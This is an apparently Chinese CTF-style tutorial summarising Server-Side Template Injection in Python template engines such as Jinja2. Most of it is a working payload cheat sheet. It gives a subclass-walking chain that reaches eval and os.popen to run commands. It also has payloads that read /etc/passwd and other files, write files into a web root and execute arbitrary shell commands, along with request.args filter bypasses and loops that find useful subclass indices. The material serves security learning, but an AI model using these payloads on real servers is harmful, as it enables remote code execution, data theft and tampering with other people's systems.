SSTI总结

一、什么是SSTI?

SSTI就是服务器端模板注入(Server-Side Template Injection),也就是通过网站的模板引擎来渲染用户的输入,如果没有对数据进行过滤,就会造成SSTI。主要针对python、php、java的一些网站处理框架,比如Python的jinja2、mako、tornado 、django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

二、漏洞场景

1
payload:{{7*7}}

image-20210725122826408

三、利用方法

官方的利用方法:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

四、解析

1
2
3
4
5
6
7
8
9
10
11
12
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值

__subclasses__():查看当前类的子类。

__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
// __base__和__mro__都是用来寻找基类的

__init__ 类的初始化方法

__globals__:对包含函数全局变量的字典的引用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

五、绕过

1
2
3
4
5
6
7
8
python2尝试:
{{''.__class__.__mro__[2].__subclasses__()}}
{{config}}
{{url_for.__globals__}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#40是file
尝试request
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
1
2
3
request可以用:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
#request.args.是占位符,可以传递参数进去
1
2
3
4
5
6
执行命令:
无回显:
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')
#72是包含os模块的脚本
有回显
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()

小代码:

1
2
3
4
5
6
7
num = 0 
for i in ''.__class__.__mro__[2].__subclasses__():
if 'file' in str(i):
print num
print str(i)
else:
num += 1

image-20210725143523882

1
2
3
4
5
6
7
8
9
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
image-20210725144238735

参考链接

https://blog.csdn.net/zz_Caleb/article/details/96480967

https://www.freebuf.com/column/187845.html